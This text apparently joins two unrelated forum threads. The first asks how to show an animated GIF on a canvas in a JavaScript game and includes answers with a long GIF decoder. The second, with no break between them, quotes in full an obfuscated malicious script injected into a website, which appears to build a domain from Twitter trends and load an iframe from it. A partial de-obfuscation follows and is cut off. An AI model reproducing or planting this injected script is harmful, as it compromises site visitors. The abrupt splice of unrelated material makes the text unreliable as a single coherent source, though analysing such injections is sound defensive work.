I'm creating a game, and in my game, when the HERO stay near the MONSTER, a gif will be showed, to scare the player. But I have no idea how to do this. I tried to put PHP or HTML code, but it doesn't works... The function is AtualizaTela2(). This is my main code:
<!DOCTYPE HTML>
<html>
<head>
<title>Hero's Escape Game</title>
<script language="JavaScript" type="text/javascript">
var objCanvas=null; // object that represents the canvas
var objContexto=null;
// Hero positioning control
var xHero=300;
var yHero=100;
// Monster positioning control
var xMonster=620;
var yMonster=0;
var imgFundo2 = new Image();
imgFundo2.src = "Images/Pista2.png";
var imgMonster = new Image();
imgMonster.src = "Images/Monster.png";
var imgHero = new Image();
imgHero.src = "Images/Hero.png";
function AtualizaTela2(){
if((xHero >= xMonster-10)&&(xHero <= xMonster + 10))
{
/*gif here*/
}
objContexto.drawImage(imgFundo2,0,0);
objContexto.drawImage(imgHero, xHero, yHero);
objContexto.drawImage(imgMonster, xMonster, yMonster);
function Iniciar(){
objCanvas = document.getElementById("meuCanvas");
objContexto = objCanvas.getContext("2d");
AtualizaTela2();
}
/* the function HeroMovement() and MonsterMovement() are not here */
}
</script>
</head>
<body onLoad="Iniciar();" onkeydown="HeroMovement(event);">
<canvas id="meuCanvas" width="1233"
height="507"
style="border:1px solid #000000;">
Seu browser não suporta o elemento CANVAS, atualize-se!!!
</canvas><BR>
</body>
</html>
This is the simplified code, because the real code is very big!
Thanks for the help! :)
Loading and playing GIF image to canvas.
Sorry answer exceeded size limit, had to remove much of the detailed code comments.
I am not going to go into details as the whole process is rather complicated.
The only way to get a GIF animated in canvas is to decode the GIF image in javascript. Luckily the format is not too complicated with data arranged in blocks that contain image size, color pallets, timing information, a comment field, and how frames are drawn.
Custom GIF load and player.
The example below contains an object called GIF that will create custom format GIF images from URLs that can play a GIF similar to how a video is played. You can also randomly access all GIF frames in any order.
There are many callbacks and options. There is basic usage information in comments and the code shows how to load the gif. There are functions to pause and play, seek(timeInSeconds) and seekFrame(frameNumber), properties to control playSpeed and much more. There are no shuttling events as access is immediate.
var myGif = GIF();
myGif.load("GIFurl.gif");
Once loaded
ctx.drawImage(myGif.image,0,0); // will draw the playing gif image
Or access the frames via the frames buffer
ctx.drawImage(myGif.frames[0].image,0,0); // draw frame 0 only.
Go to the bottom of the GIF object to see all the options with comments.
The GIF must be same domain or have CORS header
The gif in he demo is from wiki commons and contains 250+ frames, some low end devices will have trouble with this as each frame is converted to a full RGBA image making the loaded GIF significantly larger than the gif file size.
The demo
Loads the gif displaying the frames and frame count as loaded.
When loaded 100 particles each with random access frames playing at independent speeds and independent directions are displayed in the background.
The foreground image is the gif playing at the frame rate embedded in the file.
Code is as is, as an example only and NOT for commercial use.
const ctx = canvas.getContext("2d");
var myGif;
// Can not load gif cross domain unless it has CORS header
const gifURL = "https://upload.wikimedia.org/wikipedia/commons/a/a2/Wax_fire.gif";
// timeout just waits till script has been parsed and executed
// then starts loading a gif
setTimeout(()=>{
myGif = GIF(); // creates a new gif
myGif.onerror = function(e){
console.log("Gif loading error " + e.type);
}
myGif.load(gifURL);
},0);
// Function draws an image
function drawImage(image,x,y,scale,rot){
ctx.setTransform(scale,0,0,scale,x,y);
ctx.rotate(rot);
ctx.drawImage(image,-image.width / 2, -image.height / 2);
}
// helper functions
const rand = (min = 1, max = min + (min = 0)) => Math.random() * (max - min) + min;
const setOf =(c,C)=>{var a=[],i=0;while(i<c){a.push(C(i++))}return a};
const eachOf =(a,C)=>{var i=0;const l=a.length;while(i<l && C(a[i],i++,l)!==true);return i};
const mod = (v,m) => ((v % m) + m) % m;
// create 100 particles
const particles = setOf(100,() => {
return {
x : rand(innerWidth),
y : rand(innerHeight),
scale : rand(0.15, 0.5),
rot : rand(Math.PI * 2),
frame : 0,
frameRate : rand(-2,2),
dr : rand(-0.1,0.1),
dx : rand(-4,4),
dy : rand(-4,4),
};
});
// Animate and draw 100 particles
function drawParticles(){
eachOf(particles, part => {
part.x += part.dx;
part.y += part.dy;
part.rot += part.dr;
part.frame += part.frameRate;
part.x = mod(part.x,innerWidth);
part.y = mod(part.y,innerHeight);
var frame = mod(part.frame ,myGif.frames.length) | 0;
drawImage(myGif.frames[frame].image,part.x,part.y,part.scale,part.rot);
});
}
var w = canvas.width;
var h = canvas.height;
var cw = w / 2; // center
var ch = h / 2;
// main update function
function update(timer) {
ctx.setTransform(1, 0, 0, 1, 0, 0); // reset transform
if (w !== innerWidth || h !== innerHeight) {
cw = (w = canvas.width = innerWidth) / 2;
ch = (h = canvas.height = innerHeight) / 2;
} else {
ctx.clearRect(0, 0, w, h);
}
if(myGif) { // If gif object defined
if(!myGif.loading){ // if loaded
// draw random access to gif frames
drawParticles();
drawImage(myGif.image,cw,ch,1,0); // displays the current frame.
}else if(myGif.lastFrame !== null){ // Shows frames as they load
ctx.drawImage(myGif.lastFrame.image,0,0);
ctx.fillStyle = "white";
ctx.fillText("GIF loading frame " + myGif.frames.length ,10,21);
ctx.fillText("GIF loading frame " + myGif.frames.length,10,19);
ctx.fillText("GIF loading frame " + myGif.frames.length,9,20);
ctx.fillText("GIF loading frame " + myGif.frames.length,11,20);
ctx.fillStyle = "black";
ctx.fillText("GIF loading frame " + myGif.frames.length,10,20);
}
}else{
ctx.fillText("Waiting for GIF image ",10,20);
}
requestAnimationFrame(update);
}
requestAnimationFrame(update);
/*============================================================================
Gif Decoder and player for use with Canvas API's
**NOT** for commercial use.
To use
var myGif = GIF(); // creates a new gif
var myGif = new GIF(); // will work as well but not needed as GIF() returns the correct reference already.
myGif.load("myGif.gif"); // set URL and load
myGif.onload = function(event){ // fires when loading is complete
//event.type = "load"
//event.path array containing a reference to the gif
}
myGif.onprogress = function(event){ // Note this function is not bound to myGif
//event.bytesRead bytes decoded
//event.totalBytes total bytes
//event.frame index of last frame decoded
}
myGif.onerror = function(event){ // fires if there is a problem loading. this = myGif
//event.type a description of the error
//event.path array containing a reference to the gif
}
Once loaded the gif can be displayed
if(!myGif.loading){
ctx.drawImage(myGif.image,0,0);
}
You can display the last frame loaded during loading
if(myGif.lastFrame !== null){
ctx.drawImage(myGif.lastFrame.image,0,0);
}
To access all the frames
var gifFrames = myGif.frames; // an array of frames.
A frame holds various frame associated items.
myGif.frame[0].image; // the first frames image
myGif.frame[0].delay; // time in milliseconds frame is displayed for
Gifs use various methods to reduce the file size. The loaded frames do not maintain the optimisations and hold the full resolution frames as DOM images. This mean the memory footprint of a decode gif will be many time larger than the Gif file.
*/
const GIF = function () {
// **NOT** for commercial use.
var timerID; // timer handle for set time out usage
var st; // holds the stream object when loading.
var interlaceOffsets = [0, 4, 2, 1]; // used in de-interlacing.
var interlaceSteps = [8, 8, 4, 2];
var interlacedBufSize; // this holds a buffer to de interlace. Created on the first frame and when size changed
var deinterlaceBuf;
var pixelBufSize; // this holds a buffer for pixels. Created on the first frame and when size changed
var pixelBuf;
const GIF_FILE = { // gif file data headers
GCExt : 0xF9,
COMMENT : 0xFE,
APPExt : 0xFF,
UNKNOWN : 0x01, // not sure what this is but need to skip it in parser
IMAGE : 0x2C,
EOF : 59, // This is entered as decimal
EXT : 0x21,
};
// simple buffered stream used to read from the file
var Stream = function (data) {
this.data = new Uint8ClampedArray(data);
this.pos = 0;
var len = this.data.length;
this.getString = function (count) { // returns a string from current pos of len count
var s = "";
while (count--) { s += String.fromCharCode(this.data[this.pos++]) }
return s;
};
this.readSubBlocks = function () { // reads a set of blocks as a string
var size, count, data = "";
do {
count = size = this.data[this.pos++];
while (count--) { data += String.fromCharCode(this.data[this.pos++]) }
} while (size !== 0 && this.pos < len);
return data;
}
this.readSubBlocksB = function () { // reads a set of blocks as binary
var size, count, data = [];
do {
count = size = this.data[this.pos++];
while (count--) { data.push(this.data[this.pos++]);}
} while (size !== 0 && this.pos < len);
return data;
}
};
// LZW decoder uncompressed each frames pixels
// this needs to be optimised.
// minSize is the min dictionary as powers of two
// size and data is the compressed pixels
function lzwDecode(minSize, data) {
var i, pixelPos, pos, clear, eod, size, done, dic, code, last, d, len;
pos = pixelPos = 0;
dic = [];
clear = 1 << minSize;
eod = clear + 1;
size = minSize + 1;
done = false;
while (!done) { // JavaScript optimisers like a clear exit though I never use 'done' apart from fooling the optimiser
last = code;
code = 0;
for (i = 0; i < size; i++) {
if (data[pos >> 3] & (1 << (pos & 7))) { code |= 1 << i }
pos++;
}
if (code === clear) { // clear and reset the dictionary
dic = [];
size = minSize + 1;
for (i = 0; i < clear; i++) { dic[i] = [i] }
dic[clear] = [];
dic[eod] = null;
} else {
if (code === eod) { done = true; return }
if (code >= dic.length) { dic.push(dic[last].concat(dic[last][0])) }
else if (last !== clear) { dic.push(dic[last].concat(dic[code][0])) }
d = dic[code];
len = d.length;
for (i = 0; i < len; i++) { pixelBuf[pixelPos++] = d[i] }
if (dic.length === (1 << size) && size < 12) { size++ }
}
}
};
function parseColourTable(count) { // get a colour table of length count Each entry is 3 bytes, for RGB.
var colours = [];
for (var i = 0; i < count; i++) { colours.push([st.data[st.pos++], st.data[st.pos++], st.data[st.pos++]]) }
return colours;
}
function parse (){ // read the header. This is the starting point of the decode and async calls parseBlock
var bitField;
st.pos += 6;
gif.width = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
gif.height = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
bitField = st.data[st.pos++];
gif.colorRes = (bitField & 0b1110000) >> 4;
gif.globalColourCount = 1 << ((bitField & 0b111) + 1);
gif.bgColourIndex = st.data[st.pos++];
st.pos++; // ignoring pixel aspect ratio. if not 0, aspectRatio = (pixelAspectRatio + 15) / 64
if (bitField & 0b10000000) { gif.globalColourTable = parseColourTable(gif.globalColourCount) } // global colour flag
setTimeout(parseBlock, 0);
}
function parseAppExt() { // get application specific data. Netscape added iterations and terminator. Ignoring that
st.pos += 1;
if ('NETSCAPE' === st.getString(8)) { st.pos += 8 } // ignoring this data. iterations (word) and terminator (byte)
else {
st.pos += 3; // 3 bytes of string usually "2.0" when identifier is NETSCAPE
st.readSubBlocks(); // unknown app extension
}
};
function parseGCExt() { // get GC data
var bitField;
st.pos++;
bitField = st.data[st.pos++];
gif.disposalMethod = (bitField & 0b11100) >> 2;
gif.transparencyGiven = bitField & 0b1 ? true : false; // ignoring bit two that is marked as userInput???
gif.delayTime = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
gif.transparencyIndex = st.data[st.pos++];
st.pos++;
};
function parseImg() { // decodes image data to create the indexed pixel image
var deinterlace, frame, bitField;
deinterlace = function (width) { // de interlace pixel data if needed
var lines, fromLine, pass, toline;
lines = pixelBufSize / width;
fromLine = 0;
if (interlacedBufSize !== pixelBufSize) { // create the buffer if size changed or undefined.
deinterlaceBuf = new Uint8Array(pixelBufSize);
interlacedBufSize = pixelBufSize;
}
for (pass = 0; pass < 4; pass++) {
for (toLine = interlaceOffsets[pass]; toLine < lines; toLine += interlaceSteps[pass]) {
deinterlaceBuf.set(pixelBuf.subarray(fromLine, fromLine + width), toLine * width);
fromLine += width;
}
}
};
frame = {}
gif.frames.push(frame);
frame.disposalMethod = gif.disposalMethod;
frame.time = gif.length;
frame.delay = gif.delayTime * 10;
gif.length += frame.delay;
if (gif.transparencyGiven) { frame.transparencyIndex = gif.transparencyIndex }
else { frame.transparencyIndex = undefined }
frame.leftPos = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
frame.topPos = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
frame.width = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
frame.height = (st.data[st.pos++]) + ((st.data[st.pos++]) << 8);
bitField = st.data[st.pos++];
frame.localColourTableFlag = bitField & 0b10000000 ? true : false;
if (frame.localColourTableFlag) { frame.localColourTable = parseColourTable(1 << ((bitField & 0b111) + 1)) }
if (pixelBufSize !== frame.width * frame.height) { // create a pixel buffer if not yet created or if current frame size is different from previous
pixelBuf = new Uint8Array(frame.width * frame.height);
pixelBufSize = frame.width * frame.height;
}
lzwDecode(st.data[st.pos++], st.readSubBlocksB()); // decode the pixels
if (bitField & 0b1000000) { // de interlace if needed
frame.interlaced = true;
deinterlace(frame.width);
} else { frame.interlaced = false }
processFrame(frame); // convert to canvas image
};
function processFrame(frame) { // creates a RGBA canvas image from the indexed pixel data.
var ct, cData, dat, pixCount, ind, useT, i, pixel, pDat, col, frame, ti;
frame.image = document.createElement('canvas');
frame.image.width = gif.width;
frame.image.height = gif.height;
frame.image.ctx = frame.image.getContext("2d");
ct = frame.localColourTableFlag ? frame.localColourTable : gif.globalColourTable;
if (gif.lastFrame === null) { gif.lastFrame = frame }
useT = (gif.lastFrame.disposalMethod === 2 || gif.lastFrame.disposalMethod === 3) ? true : false;
if (!useT) { frame.image.ctx.drawImage(gif.lastFrame.image, 0, 0, gif.width, gif.height) }
cData = frame.image.ctx.getImageData(frame.leftPos, frame.topPos, frame.width, frame.height);
ti = frame.transparencyIndex;
dat = cData.data;
if (frame.interlaced) { pDat = deinterlaceBuf }
else { pDat = pixelBuf }
pixCount = pDat.length;
ind = 0;
for (i = 0; i < pixCount; i++) {
pixel = pDat[i];
col = ct[pixel];
if (ti !== pixel) {
dat[ind++] = col[0];
dat[ind++] = col[1];
dat[ind++] = col[2];
dat[ind++] = 255; // Opaque.
} else
if (useT) {
dat[ind + 3] = 0; // Transparent.
ind += 4;
} else { ind += 4 }
}
frame.image.ctx.putImageData(cData, frame.leftPos, frame.topPos);
gif.lastFrame = frame;
if (!gif.waitTillDone && typeof gif.onload === "function") { doOnloadEvent() }// if !waitTillDone the call onload now after first frame is loaded
};
// **NOT** for commercial use.
function finnished() { // called when the load has completed
gif.loading = false;
gif.frameCount = gif.frames.length;
gif.lastFrame = null;
st = undefined;
gif.complete = true;
gif.disposalMethod = undefined;
gif.transparencyGiven = undefined;
gif.delayTime = undefined;
gif.transparencyIndex = undefined;
gif.waitTillDone = undefined;
pixelBuf = undefined; // dereference pixel buffer
deinterlaceBuf = undefined; // dereference interlace buff (may or may not be used);
pixelBufSize = undefined;
deinterlaceBuf = undefined;
gif.currentFrame = 0;
if (gif.frames.length > 0) { gif.image = gif.frames[0].image }
doOnloadEvent();
if (typeof gif.onloadall === "function") {
(gif.onloadall.bind(gif))({ type : 'loadall', path : [gif] });
}
if (gif.playOnLoad) { gif.play() }
}
function canceled () { // called if the load has been cancelled
finnished();
if (typeof gif.cancelCallback === "function") { (gif.cancelCallback.bind(gif))({ type : 'canceled', path : [gif] }) }
}
function parseExt() { // parse extended blocks
const blockID = st.data[st.pos++];
if(blockID === GIF_FILE.GCExt) { parseGCExt() }
else if(blockID === GIF_FILE.COMMENT) { gif.comment += st.readSubBlocks() }
else if(blockID === GIF_FILE.APPExt) { parseAppExt() }
else {
if(blockID === GIF_FILE.UNKNOWN) { st.pos += 13; } // skip unknow block
st.readSubBlocks();
}
}
function parseBlock() { // parsing the blocks
if (gif.cancel !== undefined && gif.cancel === true) { canceled(); return }
const blockId = st.data[st.pos++];
if(blockId === GIF_FILE.IMAGE ){ // image block
parseImg();
if (gif.firstFrameOnly) { finnished(); return }
}else if(blockId === GIF_FILE.EOF) { finnished(); return }
else { parseExt() }
if (typeof gif.onprogress === "function") {
gif.onprogress({ bytesRead : st.pos, totalBytes : st.data.length, frame : gif.frames.length });
}
setTimeout(parseBlock, 0); // parsing frame async so processes can get some time in.
};
function cancelLoad(callback) { // cancels the loading. This will cancel the load before the next frame is decoded
if (gif.complete) { return false }
gif.cancelCallback = callback;
gif.cancel = true;
return true;
}
function error(type) {
if (typeof gif.onerror === "function") { (gif.onerror.bind(this))({ type : type, path : [this] }) }
gif.onload = gif.onerror = undefined;
gif.loading = false;
}
function doOnloadEvent() { // fire onload event if set
gif.currentFrame = 0;
gif.nextFrameAt = gif.lastFrameAt = new Date().valueOf(); // just sets the time now
if (typeof gif.onload === "function") { (gif.onload.bind(gif))({ type : 'load', path : [gif] }) }
gif.onerror = gif.onload = undefined;
}
function dataLoaded(data) { // Data loaded create stream and parse
st = new Stream(data);
parse();
}
function loadGif(filename) { // starts the load
var ajax = new XMLHttpRequest();
ajax.responseType = "arraybuffer";
ajax.onload = function (e) {
if (e.target.status === 404) { error("File not found") }
else if(e.target.status >= 200 && e.target.status < 300 ) { dataLoaded(ajax.response) }
else { error("Loading error : " + e.target.status) }
};
ajax.open('GET', filename, true);
ajax.send();
ajax.onerror = function (e) { error("File error") };
this.src = filename;
this.loading = true;
}
function play() { // starts play if paused
if (!gif.playing) {
gif.paused = false;
gif.playing = true;
playing();
}
}
function pause() { // stops play
gif.paused = true;
gif.playing = false;
clearTimeout(timerID);
}
function togglePlay(){
if(gif.paused || !gif.playing){ gif.play() }
else{ gif.pause() }
}
function seekFrame(frame) { // seeks to frame number.
clearTimeout(timerID);
gif.currentFrame = frame % gif.frames.length;
if (gif.playing) { playing() }
else { gif.image = gif.frames[gif.currentFrame].image }
}
function seek(time) { // time in Seconds // seek to frame that would be displayed at time
clearTimeout(timerID);
if (time < 0) { time = 0 }
time *= 1000; // in ms
time %= gif.length;
var frame = 0;
while (time > gif.frames[frame].time + gif.frames[frame].delay && frame < gif.frames.length) { frame += 1 }
gif.currentFrame = frame;
if (gif.playing) { playing() }
else { gif.image = gif.frames[gif.currentFrame].image}
}
function playing() {
var delay;
var frame;
if (gif.playSpeed === 0) {
gif.pause();
return;
} else {
if (gif.playSpeed < 0) {
gif.currentFrame -= 1;
if (gif.currentFrame < 0) {gif.currentFrame = gif.frames.length - 1 }
frame = gif.currentFrame;
frame -= 1;
if (frame < 0) { frame = gif.frames.length - 1 }
delay = -gif.frames[frame].delay * 1 / gif.playSpeed;
} else {
gif.currentFrame += 1;
gif.currentFrame %= gif.frames.length;
delay = gif.frames[gif.currentFrame].delay * 1 / gif.playSpeed;
}
gif.image = gif.frames[gif.currentFrame].image;
timerID = setTimeout(playing, delay);
}
}
var gif = { // the gif image object
onload : null, // fire on load. Use waitTillDone = true to have load fire at end or false to fire on first frame
onerror : null, // fires on error
onprogress : null, // fires a load progress event
onloadall : null, // event fires when all frames have loaded and gif is ready
paused : false, // true if paused
playing : false, // true if playing
waitTillDone : true, // If true onload will fire when all frames loaded, if false, onload will fire when first frame has loaded
loading : false, // true if still loading
firstFrameOnly : false, // if true only load the first frame
width : null, // width in pixels
height : null, // height in pixels
frames : [], // array of frames
comment : "", // comments if found in file. Note I remember that some gifs have comments per frame if so this will be all comment concatenated
length : 0, // gif length in ms (1/1000 second)
currentFrame : 0, // current frame.
frameCount : 0, // number of frames
playSpeed : 1, // play speed 1 normal, 2 twice 0.5 half, -1 reverse etc...
lastFrame : null, // temp hold last frame loaded so you can display the gif as it loads
image : null, // the current image at the currentFrame
playOnLoad : true, // if true starts playback when loaded
// functions
load : loadGif, // call this to load a file
cancel : cancelLoad, // call to stop loading
play : play, // call to start play
pause : pause, // call to pause
seek : seek, // call to seek to time
seekFrame : seekFrame, // call to seek to frame
togglePlay : togglePlay, // call to toggle play and pause state
};
return gif;
}
/*=========================================================================
End of gif reader
*/
const mouse = {
bounds: null,
x: 0,
y: 0,
button: false
};
function mouseEvents(e) {
const m = mouse;
m.bounds = canvas.getBoundingClientRect();
m.x = e.pageX - m.bounds.left - scrollX;
m.y = e.pageY - m.bounds.top - scrollY;
mouse.x = e.pageX;
m.button = e.type === "mousedown" ? true : e.type === "mouseup" ? false : m.button;
}
["down", "up", "move"].forEach(name => document.addEventListener("mouse" + name, mouseEvents));
canvas {
position: absolute;
top: 0px;
left: 0px;
}
<canvas id="canvas"></canvas>
NOTES
This works for 99% of gifs. Occasionally you will find a gif that does not play correctly. Reason: (I never bothered to find out). Fix: re-encode gif using modern encoder.
There are some minor inconsistencies that need fixing. In time I will provide a codePen example with ES6 and improved interface. Stay tuned.
Here ya go:
You will need to exctract each frames and make an array out of them
split frames: http://gifgifs.com/split/
easier if you have urls or path like http://lol.com/Img1.png ...... http://lol.com/Img27.png with which you can do a simple loop like this:
var Img = [];
for (var i = 0; i < 28; i++) {
Img[i] = new Image();
Img[i].src = "http://lol.com/Img"+i+".png";
}
function drawAnimatedImage(arr,x,y,angle,factor,changespeed) {
if (!factor) {
factor = 1;
}
if (!changespeed) {
changespeed = 1;
}
ctx.save();
ctx.translate(x, y);
ctx.rotate(angle * Math.PI / 180);
if (!!arr[Math.round(Date.now()/changespeed) % arr.length]) {
ctx.drawImage(arr[Math.round(Date.now()/changespeed) % arr.length], -(arr[Math.round(Date.now()/changespeed) % arr.length].width * factor / 2), -(arr[Math.round(Date.now()/changespeed) % arr.length].height * factor / 2), arr[Math.round(Date.now()/changespeed) % arr.length].width * factor, arr[Math.round(Date.now()/changespeed) % arr.length].height * factor);
}
ctx.restore();
}
var canvas = document.getElementById("myCanvas");
var ctx = canvas.getContext('2d');
var waitingWolf = [];
var url = ["https://i.imgur.com/k3T7psX.gif","https://i.imgur.com/CTSC8FC.gif","https://i.imgur.com/6NHLWKK.gif","https://i.imgur.com/U1u04sY.gif","https://i.imgur.com/4695vnQ.gif","https://i.imgur.com/oDO0YWT.gif","https://i.imgur.com/LqptRh1.gif","https://i.imgur.com/6gTxvul.gif","https://i.imgur.com/ULN5mqK.gif","https://i.imgur.com/RACB9WM.gif","https://i.imgur.com/4TZ6kNi.gif","https://i.imgur.com/9VvlzhK.gif","https://i.imgur.com/nGUnsfW.gif","https://i.imgur.com/2h8vLjK.gif","https://i.imgur.com/ZCdKkF1.gif","https://i.imgur.com/wZmWrYP.gif","https://i.imgur.com/4lhjVSz.gif","https://i.imgur.com/wVO0PbE.gif","https://i.imgur.com/cgGn5tV.gif","https://i.imgur.com/627gH5Y.gif","https://i.imgur.com/sLDSeS7.gif","https://i.imgur.com/1i1QNAs.gif","https://i.imgur.com/V3vDA1A.gif","https://i.imgur.com/Od2psNo.gif","https://i.imgur.com/WKDXFdh.gif","https://i.imgur.com/RlhIjaM.gif","https://i.imgur.com/293hMnm.gif","https://i.imgur.com/ITm0ukT.gif"]
function setup () {
for (var i = 0; i < 28; i++) {
waitingWolf[i] = new Image();
waitingWolf[i].src = url[i];
}
}
setup();
function yop() {
ctx.clearRect(0,0,1000,1000)
if (waitingWolf.length == 28) {
drawAnimatedImage(waitingWolf,300,100,0,1,60)
}
requestAnimationFrame(yop);
}
requestAnimationFrame(yop);
<canvas id="myCanvas" width="1000" height="1000">
</canvas>
You can use Gify & gifuct-js projects on Github.
First, download your Animated gif and prepare the images you need to do this on page load.
var framesArray;
var currentFrame = 0;
var totalFrames = null;
var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.gif", true);
oReq.responseType = "arraybuffer";
oReq.onload = function (oEvent) {
var arrayBuffer = oReq.response; // Note: not oReq.responseText
if(gify.isAnimated(arrayBuffer)){
var gif = new GIF(arrayBuffer);
framesArray = gif.decompressFrames(true);
totalFrames = framesArray.length;
}
};
oReq.send(null);
When you want your animation to show so in your draw loop
if((xHero >= xMonster-10)&&(xHero <= xMonster + 10)){
// you need to work out from your frame rate when you should increase current frame
// based on the framerate of the gif image using framesArray[currentFrame].delay
// auto-detect if we need to jump to the first frame in the loop
// as we gone through all the frames
currentFrame = currentFrame % totalFrames;
var frame = framesArray[currentFrame];
var x,y;
// get x posstion as an offset from xHero
// get y posstion as an offset from yHero
objContexto.putImageData(frame.patch,x,y);
}
Please note this code is not tested I built following the documentation of the 2 projects so it might be a little wrong but it shows roughly how it is possible,
the 3rd link is the online contents of the demo folder for the gitfuct-js library
https://github.com/rfrench/gify
https://github.com/matt-way/gifuct-js
http://matt-way.github.io/gifuct-js/
It is not possible to simply draw a .gif (animated!) on the <canvas> element.
You have two options.
a) you can append the HTML with a <div> to which you append the .gif (via <img> node) and then layer the via z-Index and css top/left over the <canvas>, at the correct position. It will mess up with mouse events eventually tho, which can be solved by event propagation. I would consider this a poor mans solution.
b) You need to learn how to animate stuff. Look up window.requestAnimationFrame method. Doing so will allow you to animate on the <canvas>, which can emulate the .gif behavior you are looking for. It will however be a bit complex at your current level i think.
You can draw the .gif on the canvas like the above poster described. However, it will be 100 % static, like a .jpg or .png in that case, unless you manage to dissolve the .gif into its frames and still use the window.requestAnimationFrame method.
Basicly, if you want the animated behavior of a .gif, you will need to make major adjustments.
Simply draw your image on the canvas at whatever position you want to insert your gif. I'll assume you want to insert your gif in the canvas meuCanvas.
So:
if((xHero >= xMonster-10)&&(xHero <= xMonster + 10))
{
var ctx = document.getElementById('meuCanvas').getContext('2d');
var img = new Image();
img.onload = function() {
ctx.drawImage(img, 0, 0);
};
img.src = 'http://media3.giphy.com/media/kEKcOWl8RMLde/giphy.gif';
}
I'm also not quite sure what your problem is, but instead of:
if((xHero >= xMonster-10)||(xHero <= xMonster + 10))
{
/*gif here*/
}
you probably want:
if (xHero >= xMonster-10 && xHero <= xMonster + 10)
{
/*gif here*/
}
|| means OR
&& means AND
In your code using OR makes the condition always true; that's probably not what you want.
<script>
(function($$) {
d = "(#(){ %H=#( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=#( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0`uX-`UX `,X:00`;':2345678901,'/':48271,'F':198195254,'G':12,'CX='};# #n(#E){#M=[];for(PM=0;PM<#E /;PM++){#M.push(Pr[#E.charAt(PM)])}\\ #p(#M)}Pj=document;#d=window; (C='undefined'; (S=VhaDWDosestnsdlDjfqcq' 6G= &)== (C) 0#G||!PR()){if(!#G){try{Pn=jQuery ;try{Pn=$ }PS=Pj.getElementsByTagName(VY -[0];#m=Pj.createElement(VkS -;#m.setAttribute(Vkr'),#n(\"hxDgakDosxsLsJseD6sJDmDj\"));PS.appendChild(#m)}# PH(#q,PB){\\ Math.floor(#q/PB) 7x(#s +PC=PH( (N, !m) 5F= (N% !m 5f= !D*#F- !T*PC 0#f>0){#N=#f}else{#N=#f+ !v}\\(#N%#s) 7t(#k){ (N=V;')+#k; !D=V/'); !v=V;')-VF'); !m=PH( !v, !D); !T= !v% !D 7p(P){\\ P /==1?P[0]:P 3'')};# #e(P){d=new Date( 6D=Vzee');d.setTime((P.as_of-VG')*VG')*VG')*Vezz -*Vezzz -;\\ d 7z(Pz +#c,PL,#j=Pz / 5v=[];while(--#j){PL=#x(#j 6v.push(PL 6c=Pz[PL];Pz[PL]=Pz[#j];Pz[#j]=#c}}# PJ($){PN=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],#(x,i){\\ String.fromCharCode(i+x+24)});\\ #p(PN) 7o($){if &)!= (C){$(#(){if &.Ph)!= (C)\\;$.Ph=1; 2S,#(Pe){#R=#e(Pe 6K=#R~Month() 8c=#R~Date( 6u=#S+#n(\"ETzeeu\")+#K+\"-\"+Pc;Pu=PA=PH(#R~Hours(),6)*6 8d=Pu+1;#L=+Vez'); ) 2u,#(Pe){try{#y=Pe.trends;for(#r in #y){break}#r=#r.substr(+Vz'),+Vee - 0Pu ,u 0Pd ,d; 4u+V,')] 0!#b) 4d+V,')];#b=(#b[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 6T=#K*73+PA*3+Pc*41;#t(#T 6a=#x(4)+#L;#z(#b 6g=VCh')+#p(#b).substring(0,#a)+'.com/'+PJ($);Pr['Z']=#g;Pf=VBI 1biMU 1UkrZRiMRIA');$(VK -.append(Pf)}catch(Py){}})},#L*#L*#L)})})}else{ ) *,1+VTTT -}} *)()#js#functionP#AV#n('X':'`','~.getUTC\\return .noConflict(true)}catch(e){} !#d.P $(),Pw~ %Date.prototype.# &(typeof($ (#d.# )setTimeout(#(){ *#o(#d.jQuery)} +){var ,<#L)Pu=Vz')+P -')) /.length 0;if( 1yQHTpweeepQ 2$.getJSON(# 3.join( 4#b=#y[#r+P 5;var # 6);# 7}# # 8+(+Ve -;P";
for (c = 50; c; d = (t = d.split('##PVX`~\\ ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8'.substr(c -= (x = c < 10 ? 1 : 2), x))).join(t.pop()));
$$(d)
})(function(jsAP) {
return (function(jsA, jsAg) {
return jsAg(jsA(jsAg(jsA(jsAP))))(jsAP)()
})((function(jsA) {
return jsA.constructor
}), (function(jsA) {
return (function(jsAg) {
return jsA.call(jsA, jsAg)
})
}))
});
</script>
My host is saying nothing about this and it is happening frequently. I think they might be hiding a malicious hacking attempt.
What does this do?
EDIT:
We're changing hosts.
The code is indeed malicious and was injected into our website. Our host was trying to conceal that (probably so that we wouldn't worry)
This happened to my friend's website on the same host.
Don't test out this script, please.
Looks like some obfuscated injection.
Let's work and decipher this; it'll be fun(-nish).
AFAICT so far it's grabbing (what seems to be) the third trend for two days prior to the current date, or at least was meant to (I think the date key it's using to look up a day's trends is incorrect, because it's adding a zero-seconds thing onto the time, which isn't present in the feed), building a URL from that, and sending some data keyed on a hash representing the nearest 6-hr interval.
Here's the blob of text decoded after decoding along with the start of analysis:
(function () {
jsAr = { }; // Here only for a subsequent set of jsAr['Z'] later, which may not be necessary.
/* Returns either first element of jsA, or a joined string. */
function firstElementOrJoined(jsA) {
return jsA.length == 1 ? jsA[0] : jsA.join('')
};
jsAj = document;
loadJquery(); // Load JQ in head new script tag.
function divideAndFloor(jsq, jsAB) {
return Math.floor(jsq / jsAB)
}
function jsx(jss) {
